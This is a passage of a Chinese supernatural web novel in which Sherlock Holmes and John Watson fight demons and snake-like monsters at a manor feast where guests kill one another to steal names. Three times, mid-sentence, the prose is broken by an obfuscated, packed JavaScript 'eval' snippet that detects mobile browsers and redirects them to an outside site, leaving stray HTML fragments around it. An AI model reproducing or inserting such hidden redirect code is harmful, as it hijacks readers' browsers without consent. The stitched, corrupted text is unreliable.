本能和恐惧在他眼中与身体里斗争，最后本能占据上风，令他不顾对方的恐怖之处，竭尽一切也要进行自救。 用手、用脚、用牙齿！活下去！ 他还有母亲在家！他还有其他重要的东西需要守护！ 他不能把他们丢下不管！ 艾伦咆哮着，像是孱弱的动物在面对捕食者时，也会发出令人胆寒的回击。 于是那些恐怖的景象此刻在他眼中也就变得不再那么恐怖，愤怒化作更加直接有效的镇定剂，让他摆脱侍者白骨一样的手臂，往通往生路的大门那里逃去。 另一名仍旧保持着些许风度的侍者摇摇头，像是看不惯这样直接粗暴的缠斗。 “我就说普通人的方式真是效率低下。” 他伸出手，一把刻满仪阵的仪式刀从袖口垂落，握在掌心。 不管猎物再怎么想活下去，遇上身怀超凡力量的使者和恶魔时，通常也只能被当做口粮一样吃掉。 除非，另一个猎人出手。 侍者回头看向截住自己手腕的客人。 他在这群宾客里的装扮不算显眼，似乎也不是奔着前来交际的目的而来，所以这个男人显得平平无奇，唯有和善这个特征比较瞩目，看起来会是个会受到大部分人喜欢的普通人。 不过来这里参加晚宴的人通常都不属于那大部分人群。 他们奉上很多，与嫉妒的魔鬼做了交易，获得一张可以改变自己人生的邀请函。 “客人，您知道这里是什么样的地方吗？” 他对这个看上去很是普通的男人发问，像是猎人在猎杀自己猎物前，有时会想戏弄一番。 “我原本不知道，想要请教我那聪明绝顶的舍友。” “但现在不用他解释，我也知道了。” 他冷静得叫人觉得，这人是天生适合行走战场的战士。 “这是魔鬼的餐盘，而你们都是主动送到祂们刀叉上的食物。” 从外而来，受邀进入这金玫瑰花园里，就能有机会以全新的身份离开。 贫穷者变得富有，丑陋者变得美貌，无能者变得有才。 在这里，获得一个名字远比什么都重要，吃掉原有者的名字，就能顶替那个人的人生。 超凡力量改造这片建筑，让这里成为血腥的大猎场，更让人类的家世背景变成了一种可以转移的资源。 原本看起来不慌不忙的侍者这次仔细地上下打量起他。 约翰和他对视着，似乎不打算让步，也不像背后蜂拥挤向“亚历山大·福诺克”的人群一样疯狂。 他冷静得就像驻扎在海波中的礁石，丝毫没有要随波逐流的感觉。 “你来这里难道不是为了‘亚历山大·福诺克’的名字？” 侍者问。 “我有自己的名字。” 约翰冷静地说道： “另外不得不和你说一件事。” 侍者挑起眉，“你想说什么？” “战场不是给你发呆的地方。” 下一秒，左轮手枪已经抵在了侍者的额头上。 冰冷的枪膛里嵌有冷硬的子弹，只要手指轻轻扣下，人类发明的热武器就足以杀死自然界里大部分原本令人觉得难以战胜的凶猛野兽。 “你觉得子弹就能杀死一位神的使者吗！” 侍者面对漆黑的枪口，完全没有慌张的模样。 “这里是深渊-8的区域，人类的火器在这里根本就没有登场的资格，哪怕是秘银制作的刀剑有时也难以发挥功效，现在你敢扣动扳机，得到的结果只有炸膛的可能。” 就如他所言，舞厅现场里几乎所有自相残杀的宾客用的都是冷兵器，仿佛他们已经倒退回数百年前，在攻城战的城堡里杀得满身血污。 “不管是刀剑，还是枪炮，都是为了杀死我们的敌人而制作。” “在今天之前，我特意保养了我的左轮，保证它不会炸膛。” “都说了，你这样的凡人……” 砰——！ 犹如惊雷炸响。 没有装载消音器的左轮此刻如同吐出火舌的巨龙，子弹以极快的速度发射，近距离直接嵌进正准备出言嘲讽的侍者脑门中心。 脆弱的头骨无法抵御日益改良的火器攻击。 嚣张的笑容还凝固在侍者的脸上，但嘲讽的话语还没能从口中说出，死亡就先一步令他倒进永远的沉默里。 被侍者说成会必定会炸弹的手/枪，此刻好用得像是刚上完油，拧紧发条的上等货。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832330|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约翰毫不犹豫，再度举枪的瞬间扣下扳机。 第二发秘银子弹直接从掐住艾伦的另一名侍者后脑勺中心穿透，令那几乎成为被瘫软皮囊包裹的白骨架顷刻停止了行动，瘫倒在地。 □□膛里六发子弹已用三发，但这次他从雷斯垂德那里装满五个弹夹的秘银子弹才来到这里，所以紧要关头用起来毫不手软。 两发枪响仿佛平地惊雷，将从未见过雷霆伟力的鸟雀愣在原地。 这里的人像是从未想过枪炮这样的火器也能奏效。 穿颅而过的秘银子弹针对超凡生物具有奇效，倒在门前的两具尸体正如被风吹散的黑烟渐渐消失。 约翰一把拉住艾伦的胳膊，再对门栓连开三枪，直接将门锁崩开。 “走！” 舞厅里的寂静，为少数头脑灵活的人赢得弥足珍贵的机会，有人当即扯住身边的人啃食起他的血肉来。 褪去人类自诩文明的皮囊，这里已经彻底化作血腥的原始猎场。 越是胡吞海吃，越是身形扭曲庞大，思绪也越是往非人的底线堕落。 “我要……” 直至最后，连自己曾经渴求的都难以记起，只剩下仿佛本能的嫉妒。 嫉妒着这人拥有比自己更好的家世，嫉妒着那人拥有健康无损的身体与健康，嫉妒着无数自己所没有的东西，也嫉妒着无数比自己拥有的，但更好的东西。 这些嫉妒将宾客们的身体渐渐拉长。 心底窃窃私语，吐露嫉妒之言的蛇从他们的眼眶里爬出来，反过来吞噬他们，直至让他们自身成了新的蛇。 除去仍旧保留着人类的头颅，宾客们颈脖以下的部位已经成了没有鳞片，看起来光滑至极的扭曲蛇身。 他们被嫉妒粗暴地沾黏再缝合，变成拥有众多头颅，和庞大蛇身的超凡怪物。 “给我！给我——！” 万千头颅都在放声尖叫，要吞吃舞厅里其他还活着的人类。 每一个头颅都喊着别人的名字，每一个头颅都渴望别人的成功，每一个头颅都嫉妒自己所没有的。 此时的舞厅里已经被一片血污笼罩。 侦探的目标却很明确。 他的四周不乏衣着华丽的人在被卷入蛇口前，仓惶惊恐地伸出手朝他求助，可他的视线只落在前方那个佩戴着福诺克家族纹章的矮小老人身上。 巨蛇众多头颅中有几个盯上了他们。 分裂的人首之蛇发出尖叫朝他们单独扑来，柔软的身体犹如骤然拉长的脖子横在眼前，显得极其恐怖。 老人压住恶心反胃的感觉，深渊无时无刻不在侵蚀着他的理智，带来的镇定剂已经消耗见底。 现在他眼前的地面也像是快变成了蛇身那样细腻柔软，以至于叫人觉得异常恐怖的质感。 他的视野逐渐拔高到人类所不能达到的高度，那种感觉奇妙上/瘾，直到他堪堪低头时发现视线的拔高，是因为自己脖子像蛇一样越来越长时，才骤然觉得惊慌。 他用力咬下自己的舌尖，用剧痛驱散眼前逐渐真假难辨的幻觉。 自从上一轮晚宴他拿到“亚历山大·福诺克”的名字后，庄园里无数嫉妒着他的仆人和宾客，都在想方设法要从他这里再夺走这个名字。 他已经付出这么多！无论如何都要守住它！带着代表健康身体，和无数财富的名字回到现实去！ 这样想到的他回头看见仍旧紧追不舍的人时，眼中杀意不再做任何的掩饰。 22.22 身着华袍的老者以根本不符合他这个年纪的腿脚速度，飞快冲过陷入混乱的舞厅。 这栋奢华的建筑已经在人首巨蛇的摧残下，变成摇摇欲坠的废墟。 曾经觥筹交错的晚宴，现在也变成了血腥的屠宰场。 怪物在吃人，人为了活下去，在恐惧和绝望的刺激下也在吃人。 但这座随时都能恢复如初的庄园还伫立于此，在与现实维度不同的深渊-8的世界里，嘲笑着不自知成为食材的宾客们自相残杀。 魔鬼微笑看向自己的餐盘，希望嫉妒、恐惧、绝望能将食物腌制得更加入味。 侦探敏捷得像是穿过黑夜的飞鸟，他的手杖留在了门边，不过随手就能拿起刀叉扔出。 那些普通银质餐刀和餐叉，经过他手的刹那，竟然像是被附着了某种神奇的力量，轻而易举地就能将所有拦路的超凡生物切割成两半。 矮小老者的后背满是冷汗。 他甚至分不出时间空隙来具体观察身后追着自己的到底是什么人。 就从作战的手法来看，他用的似乎是比女王钦点白骑士团的秘银长剑还要更强的武器。 可那些刀叉最初只是再平凡不过的餐具，来者随手的转换，说明他大概是个擅长使用仪阵和仪具的炼金大师。 该死的！炼金大师那种每日居家，恨不得抱着书和炼金实验室，每次出门都像要了他们命的群体里，为什么会突然杀出这样的变异种？！ 不过借着秘银的刀叉击退那些以颈脖做蛇身的超凡生物时，老者犹如过街的老鼠趁机拼命往屋外跑去。 上一轮的舞会里他已经摸清了庄园大半的规律。 进入这里的人犹如进入不死不休的赌场，进门交纳的入场费就是自己名字代表的人生。 每个赌客都想改变自己苦难的、不幸的、屈辱的、遗憾的人生，将那些富足的、成功的、美满的、幸福的人生替换成自己拥有的。 老者抬起头看向自己头顶上空漂浮的一行很淡的文字。 “亚历山大·福诺克”。 这个名字仿佛是由金子雕刻而成，镶以珍珠钻石承托它的尊荣华贵。 谁能不知道这个名字背后代表的含义！ 那是尊贵的福诺克家族独子！今后将继承万千家业，拥有着青春美貌，和大好人生的代表！ 想到这里的老者脸上神情越发狂热。 这座庄园的杀戮只持续到午夜十二点，当塔楼的钟声响起时，拿到名字的人只要顺利找到出口离开，就拥有其他人的人生。 如果没能按时离开，将继续滞留到第二天晚上，再于傍晚六点开始下一场的杀戮晚宴。 拥有“亚历山大·福诺克”这个名字的人被迫需要当开场白的主持人，像是要在众目睽睽之下告诉别人自己就像一块流油的肥肉，吸引着那些饥肠辘辘的豺狼虎豹疯狂追杀。 但白日里庄园不可动手厮杀，维持表面和谐的时候，他已经探查到出口就位于塔楼之中。 最珍贵的宝石已经被他攥紧在手里，何必再纠缠于那些凡夫的胡搅蛮缠，眼下赶紧脱身才是最好的选择！ 老者飞速向前，明明也曾见过大世面，但在恐惧、紧张、欣喜的刺激下，他与那些身怀巨额财产，满眼狂热的亡命之徒似乎没有任何的区别。 除去舞厅之外，庄园其他各处也都上演着全然不符合人类社会正常伦理道德的血腥闹剧。 但每个人都荒诞地堵上性命和姓名，妄图在绝境中再享受一次翻盘的奇迹，却忘了魔鬼稳坐庄家之位，笑着打量今晚该享用哪个人类的美味灵魂。 几分钟后。 钟塔已经近在眼前，他只要带上这名字爬上塔顶就能出去了！ 若是继续拖延下去，也许他也会成为忘却自己姓名的下仆之一，最后在某一日彻底被这魔鬼的庄园吸干养分，再被粗暴地埋进栽种着黄玫瑰的土壤里。 踩着钟塔狭窄到只有一人能通行的石阶快速攀爬，那老人顾不上此刻自己的姿态是否优雅。 他拿出与死亡赛跑的速度，恨不得手脚并用，犹如野兽一样想要爬上塔顶。 精神镇静剂的效果在逐渐减弱，幻觉和呓语如影随形地跟上来，告诉他，此刻他或许正爬行在一条巨蛇的胃中。 上空落下的光影也许是具有腐蚀性的胃液，越是向上，其实越是向下，你已然成了他者的盘中餐。 老者狠狠咬住自己的舌头，哪怕是出了血也无所谓。 他抬眼看向自己头顶的名字，那个名字在黑暗中也仍旧熠熠生辉，像是加冕的王冠吸引着无数飞蛾扑火的目光。 他再度升起勇气和希望，用满口的污血咒骂了一句“滚！”，让那些幻觉和呓语暂时离开自己的身边。 冰凉的夜风逐渐变得明显起来，老者眼里的希冀也越发明亮。 他耗尽了自己所有的家产，甚至亲手杀死了自己的发妻和两个孙子，终于获得了一张晚宴的邀请函。 此时只要他逃离魔鬼的戏弄，就能享受青春美好…… 蹭—— 轻微的嗡鸣声响起，一把餐刀平滑笔直地切开地面，让老人狂奔的脚步暂做延缓。 老者猛地转过头去。 发现死亡还闲庭散步地跟在他的身后。 相较于他的狼狈，来者还是整洁得体地能随时弯腰，邀请女士共舞一曲。 “你也是……为了这个名字而来？” 刚才咬伤自己的代价是，现在说话也变得含糊不清起来。 对方像是听懂了他的发言，“不，我不是为了‘亚历山大·福诺克’这个名字，说实在的，现在的我还是对‘歇洛克·福尔摩斯’这个名字更满意一些。” “那你……为什么……” “劳伦斯先生，首先我要告诉你的是，你的死活并不在我接受委托的范围内；我感兴趣的只有创造这个庄园的仪阵而已。” 为什么他会知道自己原本的名字？！ “咕……” 老者死死盯着来者，似乎窥见一道冰冷的反光。 他只看到眼前模糊的黑色人影似乎有着和他极其相似的模样，他仿佛站在镜子前与自己进行着对话。 他逐渐分不清这是真实，还是因为深渊对他理智的侵蚀越发严重，而导致的幻觉。 不过他好歹也是一名使者，一名即将向着恶魔堕落的使者。 他怒吼一声，从衣袋中取出一只恐怖的干瘪手掌。 那只手掌已经被折断了四根手指，剩下唯一的那一根好似枯枝伫立着。 老者毫不犹豫地折断它。 仪具撬动超凡力量的作用，被折断的枯指中黑烟弥漫，瞬间化作赤红双眼的豺狼猛地扑杀过来。 这只豺狼刀枪不入，哪怕是专门的秘银刀剑也难以直接对它造成伤害。 这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841527|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老者的压箱底牌，五根手指只有五次机会能够召唤，一旦全部用完，哪怕顶替了他人的人生，他的手会被魔鬼的力量直接切断，以代替原本干枯的手掌，成为新的仪具载体。 但此刻，他顾不上那么多。 比起失去这光辉的“王冠”，他宁可自己砍下手掌，再与魔鬼做一次交易！ 被随手转换为秘银的刀叉直接穿透黑烟豺狼的身体，将其钉死在地面上。 豺狼速度不减，从嘴角滴落的唾液腐蚀出坑坑洼洼的印记。 只是转瞬的时间，它已经扑到侦探的面前，张开的血盆大口足以直接咬下他的头！ 歇洛克说道：“说实在的，我原本不是很想用这种方式。” 老者已经扑到钟塔顶端的木门前，就差打开那扇门，逃往他梦寐以求的崭新未来。 侦探松手。 刚才顺手从晚宴餐桌上拿走的刀叉叮叮当当落了满地。 主动放弃武器的他这次只是伸出一只手。 那看起来没有任何特殊之处的手掌，直接迎上带着腥臭气息的黑雾，老者得意预想中撕碎他的场景不仅没有出现，反而是黑雾如同迎来一阵狂风，被撕扯得干干净净。 那只诡异古怪的枯手当即发出类似树枝被踩断的接连咔哒声，下一秒就在老者目眦欲裂的惊恐目光中，直接粉碎消失。 “怎么可能！” 老者不敢置信地捧着自己花了无数金钱代价才买来的仪具。 “原本那也是一件不错的仪具，解析实验后交给哈德森太太，想必她也会喜欢，可惜现在只能粗暴地将它拆解。” 歇洛克遗憾地看了眼，那正在风化成黑色粉末的干枯手掌。 这次老者不用担心付出代价，因为他已经隐约察觉到，他即将失去的是远比一个手掌还要昂贵的东西。 “不……不！我还有机会！” 他立马回头，踉踉跄跄爬到钟塔顶端的门前，神色癫狂地就要拉开它。 “我只要能出去！我就是福诺克家族的继承人！我就有无数手段能摆脱你们……哪怕是魔鬼，我也能从福音教会的……” 他的声音被猛地掐住，只留下死寂之前的些许绝望尾音。 “什么……？” 门后没有光明的道路，没有回到现实维度伦敦的密门，有的只是一片随风摇曳的黄色玫瑰花海。 它突兀又和谐地被某种神秘的力量，拼接在高空的门后，好像它原本就应该在这里。 那是庄园里最大的花园，任何来宾见到它的第一眼，都会惊叹这里的玫瑰美得不似人间之物，但他们从来没有想过，自己见过、踩过的道路之下早就埋了无数过来者的尸骨、野心和人生。 魔鬼似乎在门后发出震耳欲聋的嘲笑声。 老者从始至终以为的出口只是一场笑话，金玫瑰庄园的晚宴甚至不是一场赌局，而是一次奢华的晚宴，服务的宾客只有深渊之下的魔鬼。 祂看着人们在嫉妒与惊恐的驱使下自相残杀，最后慢条斯理拿起刀叉，准备享用最后由绝望烹饪出的美味灵魂。 依靠在墙边的侦探问他。 “不跳下去吗，劳伦斯先生？” “如果你想要出去的话，想必魔鬼也会在你的灵魂被彻底吃掉前，给予你一些虚假的安宁。” 真名为劳伦斯的老者身体发颤，他忽然感觉，也许身后的男人才是真正的魔鬼。 23.23 艾伦·威廉斯跟在前不久见面的约翰·华生与年轻马夫背后拼命狂奔。 四周早已陷入一片火海，死去之人的身躯被缓缓拖进仍旧盛放的黄玫瑰花田之中，但他们的灵魂又被某种无形的力量硬生生抽走，小半直接消失，大半被扭曲成不久前他们在舞厅里看到的人首巨蛇的超凡怪物。 “出口……出口到底在哪里？！” 艾伦扯着嗓子喊道。 “我们往大门口已经跑了这么久，怎么还是没看见门？” “出口？” “这里没有出口！” 年轻的马夫回头看他们。 他有着俊美的面容，一头金发和蓝色的眼眸，看起来格外开朗外向。 正是艾伦之前要找到，并想答谢的马夫。 “你之前是因为在没有邀请函的前提下误入庄园，所以才能离开，一旦你是拿着邀请函来的，就等于被嫉妒的魔鬼盯上，祂是不会那么轻易放人离开的。” “见鬼了！主啊！这怎么办？！” 三人跟着熟悉地形情况的马夫一路狂奔，在约翰手中秘银子弹的保护下，算是暂时有惊无险地躲到熟悉的围墙墙角之下。 艾伦抬头看着这棵上次把自己送出去的大树。 委托倒是阴差阳错完成，可他们似乎被卷入了更大的麻烦之中。 约翰打开自己的左轮，将满装的六发子弹重新上膛，替换掉刚才全部打空的弹夹。 这是他最后一盒弹夹。 “我觉得下次得申请无限制子弹手/枪/比较好。” 三人贴着墙角，听见不远处的草丛里蛇类游走而过的悉悉索索动静，不禁汗毛倒立。 马夫轻声说道：“你的子弹竟然能在这里有效，是经过专门的炼金大师改造过吗？” 约翰说道：“没有，不过你似乎对这些很了解……所以，先生，怎么称呼？” 对方摇头，“不知道，也不记得自己的名字和来历，但我以前应该经常接触这些超凡知识，所以将它们当做常识保留在我的记忆里，以应对这种突发情况。” 约翰说道，“看样子我也需要补充一些这样的常识。” “这是常识吗！我们难道就不能不遇到这种事情吗！” 艾伦崩溃。 他小心地看向四周，发现目前还没有疯了的人群或怪物发现这里之后，说话的声音才稍稍放松了些。 “问题是，我们现在怎么出去！要不然那些发疯的家伙肯定会把我们一起吃了！” “你们拿了邀请函进来，不可能走正常途径出去。” “仆人们之前传闻，庄园钟塔最顶楼有离开的门，但不清楚情况是否属实，我之前白天的时候去过一次，但是那扇门被彻底锁死，根本无法借外力打开。” 看起来比艾伦还要小一些的年轻人快速总结道。 “想要离开这里，只能将固定庄园存在于这个维度的仪阵或是仪具彻底破坏，才能成功。” “你这么熟悉这些东西，也是使者？” 艾伦看向他。 马夫耸肩，看起来就算是在危险时分，也算个乐天派。 “如果我有那样超凡的力量，我肯定就选择赌一把直接破坏仪阵，可惜我不是。” “不过你看上去也不是使者或者恶魔，身为普通人的你，也了解这个？而且如果不是自己主动很想进入庄园，一般魔鬼也不会发出邀请函。” 艾伦犹豫了一下。 “我是因为有一位……不，我没必要说这个……” “至于邀请函，一来我是想要参加交际，二来……” 说到这里，他反而停顿下来，像是不知道如何开口继续说下去。 马夫疑惑，“交际我倒是能理解，要不然你还有什么其他理由？” 艾伦恼火，“我说这么多有什么意义吗！” 反而是在场年纪最年长的医生一左一右压住两个年轻人的肩膀。 “如果还有什么能让艾伦冒着生命危险回来，那只有想要回来救你这件事。” 这回轮到马车满脸的讶异。 “为什么？” 艾伦的脸迅速涨红。 “什么为什么，哪有为什么，就是……知恩图报，你难道不懂这种绅士应有的美德吗！” “一个能在他人危急关头，主动伸出援救之手的人，也应当在困境中得到他人的帮助。” 约翰温和地解释。 “所以艾伦才会委托我们找到你，虽然他当时没有直接说出，但他很明显是想在找到你后，请求福音教会或是其他力量的帮助，将你从这里救出来。” “哦天哪……”这回艾伦的脸是彻底红透了，“华生先生难道你也是侦探？” “这样的品德理应宣扬。” 约翰笑笑。 “等我出去，我会一并写在文章里。” “请千万不要出现我的名字！” “模糊成W先生？” 艾伦连忙摆手。 “但是两位，你们难道就保证一定出得去吗？” 马夫沉默了许久，才开口问道。 他静静看着他们两人，撤去脸上的笑容后，也满是对这份乐观的自我怀疑和反复不安。 “就算找不到，也是要找的。” “坐以待毙，才是最糟糕透顶的选择。” 约翰说道： “如果说传闻不是空穴来风，那么钟塔那里必定有古怪，需要我们去一探究竟。” “我的朋友也在往那个方向去，或许我们能在钟塔与他会和。” 另外两人同意这个说法，三人在马夫的指引下再度启程出发。 秘银的子弹用一颗就少一颗，三人全程减弱自己的存在感，宁可狼狈地穿过满是血腥污泥的花田，也尽可能不要直接撞上那些发了疯一样吞噬同类的蛇。 等到高高的钟塔跃入他们的视野时，他们已经是满身血污，看起来格外狼狈。 “就是这里。”马夫扬起头，看着高耸的钟塔说道。 这座钟塔上方缀着明亮的灯光，像是一份叫人难以忽视的希望悬挂于头顶。 在远处厮杀尖叫不断的背景音下，这片角落竟然安静得叫人觉得有些祥和。 直到约翰的一声暴喝响起。 “趴下！” 艾伦知道眼前的军医身手远比自己敏捷，他一把按住身旁马夫的头，两人满脸是泥，果断卧倒在草地之中。 一条人面的长蛇猛然窜出，擦过他们的发梢直扑面前。 若是他们还愣在原地，那条温热到令人毛骨悚然的蛇尾就会在霎那间绞断他们的脖子和腰椎，将他们的尸骨与灵魂一并吞噬。 约翰手持左轮，连开三枪。 但这条体型相对较小的人首之蛇猛然扭动自己的身躯，以更加灵活的姿势绕过离膛的子弹。 三发子弹只有一颗擦过人首之蛇的身躯。 秘银的子弹迅速腐蚀蛇身柔软的肌体，使得一股腥臭不已的气息萦绕不散。 人首之蛇发出尖锐的嘶鸣，它仰起头颅时，三人惊讶地发现那张面孔竟然是之前在舞厅里见到的那个矮小老人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849681|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “‘亚历山大·福诺克’？！”约翰说道：“不，他的本名或许不是叫这个……但他竟然也变成了怪物！” 马夫神情难看，“我听说这老头也是很强的使者，怎么会也死了？” “他死了是一回事，但他要杀了我们可就是另一回事了！”艾伦喊道：“我们往塔楼里跑吗？！” “走！”约翰当机立断。 三人踩着泥泞的地面，狼狈地往塔楼底部的小门那里全力赶去。 腐烂湿润的地面，像是凝结了暴雨来临前过多的湿气。 三人默契地都没有低头特意看向脚下，毕竟谁也不希望走着走着忽然发现泥土中横着一条新鲜的人类残肢。 人首之蛇朝着他们奔跑的方向紧追不舍，像是必定要咬下他们的头才肯罢休。 在这座庄园里死去的人类，转变的怪物有着刀枪不入的身躯，以及过分强大的咬合力与食欲。 如果将其置放于现实维度世界的某个角落，或许一条蛇在一天之内就能将一座城市的三分之一人口吞得干干净净。 艾伦边跑边说，“主啊！它难道不会累的吗！” “以人类的思维模式去衡量非人的习性，或许才是最无用的选择。” 约翰握紧手中的左轮。 他还有剩下三发秘银子弹。 逃跑是一个选择，但他还在等一个机会，一个适合的、恰当的机会。 “如果超凡生物也轻易会累的话，那就用不着冠以超凡的名号！” 马夫说着，然后被泥泞中的什么险些绊倒。 他不客气的骂了一句，低头扫视一眼的时候一愣。 一个闪闪发光的名字掉落在泥土之中。 这赫然是“亚历山大·福诺克”。 即便摔落尘埃里，它看起来还是太耀眼夺目，好似蒙尘的黄金依旧有着令人无法抵抗的魅力。 人首之蛇的目标或许不是他们，而是距离他们很近，又在必定会经过路上的这个名字。 艾伦的心提了上来。 他看马夫将这个竟然能实质化的名字捧在手上打量着。 “你……想带着这个名字一起出去？” 这个名字着实价值不菲，但他可以确信的是，只要他们还拿着，那条人首之蛇必定会不死不休地追杀他们。 “不，我只是觉得名字这东西的价值还是要看人才对。” 金发蓝眼的年轻人，低头看着掌心仿佛加冕王冠一样的名字。 “如果这个人从头烂到尾，这个名字多半很快也会变得一文不值。” “滥赌者依旧滥赌，酗酒者依旧酗酒，本性的所作所为很快会将名字的价值无限地降低贬值。” “所以，我在想……” “什么？”艾伦愣住。 他猛地回身，将手中的名字像扔橄榄球一样朝着反方向扔了出去。 那闪烁着璀璨光芒的名字，犹如流星划过半空。 发了疯的人首之蛇迅速转身，哪怕失去了手脚，只剩下一个头颅，也要不顾一切地去争抢那个名字。 “我是说，我不太会打橄榄球。” 金发蓝眼的年轻人慢悠悠地补完下一句。 “不过我觉得是好球！” 约翰举枪的速度很快，姿势却平稳标准。 一个呼吸瞄准，第二个呼吸按下扳机。 砰——！ 银色的子弹像闪烁间拉长的银光，猛然击穿那条人首之蛇的后脑勺，哀嚎瞬间响起，那残存腐化的蛇身终于和那个名字一起掉落在污泥之中。 24.24 十分钟前。 穿戴整洁的侦探看着面前个头矮小的老人，自己动手将他的头从脖子上拧了下来。 他脸上的表情，还停留在对身后这位侦探实力的嫉妒，和突如其来不受控制的恐惧上。 但很快，当他自己的手以一种反人类的方式，硬生生将头颅往上拔的时候，他表情中的细节又被铺天盖地的绝望所污浊。 人类的头像球一样咕噜噜地从楼顶坠落，很快将诞生出某种毫无理智和同理可言的怪物。 而无头的残尸依旧稳稳当当地站在歇洛克的面前。 光滑的蛇从那具尸体断头的截面口钻出，赤红的眼眸在看他，然后张开腥臭的嘴，直至口腔内部翻转，诡异的反向生长包裹住蛇的头颅，再从光滑的皮肤表面生长出新的五官。 这是一名女性长相的人面，五官温婉动人，叫人觉得是置于花前微笑招呼，谈吐文雅的贵族淑女。 但她突兀地从那无头老人的尸身里生长出来，像是从错误腐烂的土壤里盛放的明艳鲜花。 【想不到会在这里见到你。】 【总是说着不要竭泽而渔，但实际上想要单独享用美食的心比谁都强烈吗？】 女人笑意盈盈地和他打招呼。 但她说的话，并非人类所能听懂和理解的任何词汇。 她甚至不需要开口，就能传达自己要表达的含义。 歇洛克神情不变，看起来一点也不想和其寒暄。 相反，他强调了一句。 “我，与祂并非一个整体。” 【哦……黑鸦中的两只白鸦。】 【你渴求着非凡不同的自我，又渴求着与人类一样的情感，矛盾又贪婪的个体。】 老人的身体还站在原处，但女人的脖子越伸越长，犹如软体的蛇绕过几个圈再将脸对准看着他。 【你还为自己取名，试图将自己和人类置于一个立场，做出一些从未做出的选择。】 【但你的所作所为，也不过稍稍推迟餐盘上的盖子晚一些打开的时间而已。】 “说完了吗？” 【没有，不过这不妨碍我们的对话。】 女人微笑，吐出鲜红的蛇信，她的话语里像是也沾满了月光花和群星草焚烧后的香气，还有一种不容忽视的腐烂苹果的气息。 瞬间，歇洛克手中的餐刀已然捅入那细长的颈脖中。 女人不在意地笑着，笑声里满是无法被常人所理解的细碎呓语。 她将颈脖转了个弯，于是光滑的皮肤成了苍白的石壁，转化后的秘银刀具无法在上面留下任何的痕迹。 她行动自如地缩紧颈脖，像缠住猎物的巨蛇，每一次呼吸的吞吐都在加重力道，直至将猎物全身的骨骼都被碾碎成无法再度拼接的残渣碎片。 这样的力道远比一条巨型森蟒的绞杀力更强，四周不知何时爬满了水汽，潮湿阴暗的环境助长腐绿色的斑菌滋生，坚实的钟塔好像被蛀空的高树，由里到外地开始腐化坍塌。 光滑到看不出鳞片痕迹的蛇绞死他的生路，将其拖向更高的天空。 女人对他露出微笑的面容。 【你要以人类的躯壳对抗吗？他们的身体脆弱到难以想象，哪怕是对付你，我也只需要用一只手就足够。】 侦探的身躯里传来骨头断裂的声响，这样的剧痛足以从生理上打垮一个正常人的理智，并结束他的生命。 但侦探的语气还是和之前一样镇定，仿佛几秒前被缓慢捏碎的不是他的骨头，而是一个毫不相干的工艺品。 “装腔作势得太过明显。” “当你的视线还只停留在狭隘的果实之上时，萨麦尔已经找到了合适的容器，亲力挖掘更深的根部，并试图将整个果树移走。” “恐怕就连别西卜也快你一步，找到了更快攫取根部的力量。” “你狭隘嫉妒他者的心，限制了自己的眼界，或许连选择进食的灵魂品质都不够上等耀眼。” 他感慨。 “利维坦，如果只是这样的话，你在还没有坐上餐桌前就已经输了。” 【闭嘴！】 魔鬼的尖啸变得刺耳，很快又自顾自地恢复平静，仿佛刚才失控的也并非自己。 【餐桌旁的位置有限，做不到拿起刀叉，就会沦为刀叉下的食物。】 女人的面容上又重新浮现端庄的笑意。 她故作亲和地说道： 【你自甘跳进餐盘中，小心就再也跳不出来。】 仿佛巨蛇的苍白颈脖又一次缩紧，要将他的这幅皮囊彻底碾成血肉模糊的样子。 歇洛克说道： “重塑一个身体是很麻烦的事情。” 女人咯咯笑着。 【那为什么不像我一样，随时可以重新换一个新的？】 【你的本体又在哪里？不带在身边吗？你不怕被那些弱小，但有时也能做出奇思妙想的人类破坏吗？】 “有时你聒噪得就像长舌的鸟。” 【可惜你这只鸟，将先被我这条蛇吃掉。】 老人的身体彻底化作一滩肉泥。 从那具腐朽老化的身体里脱胎的，是宛若新生儿般白皙细腻的肌肤。 但这身躯也并非常人所能接受，它既有类蛇的形体，又有类人的肌理，可若不小心触碰，感受到的却只有石塑般的坚硬和冰冷。 比庄园中任何一条人首之蛇都要强大恐怖的怪物，在背后某种存在的操控下，发出尖锐的哮鸣声，带着他往高空升去，随后以蛇尾作鞭，狠狠将他往下抽打。 猛然爆发的力道，足以将一辆沉重的火车直接脱轨。 按理说，人类的身体会瞬间变得七零八落，最后被钟塔底部的碎瓦残骸所埋葬。 但预想中的满目狼藉没有出现。 侦探应当死亡之地，只静静伫立着某样东西。 